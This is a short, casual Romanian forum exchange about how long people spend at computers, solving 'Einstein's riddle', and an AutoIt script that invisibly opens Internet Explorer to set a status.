eu creed ca e imposibil sa stai 18 ore pe calculator, sau asa de ambitios sa stai pana la4:00, inebunesti cu atata it, ce-a spus knight mi se pare cel mai aproape de adevar, vezi;iti place;incepi;te plictisesti;pleci;continuii cand ai chef; "Este adev?rat c? lumea real? este interesant?" hai ca asta e 'no comment'

e interesanta aia a lui einstein am rezolvat-o si eu acum 2-3 ani,ma pasiona pe la vremea aceea

AutoIT frumusetea e ca se deschide in internet explorer si browserul este invizbil se seteaza statusul fara sa se intample nimic altceva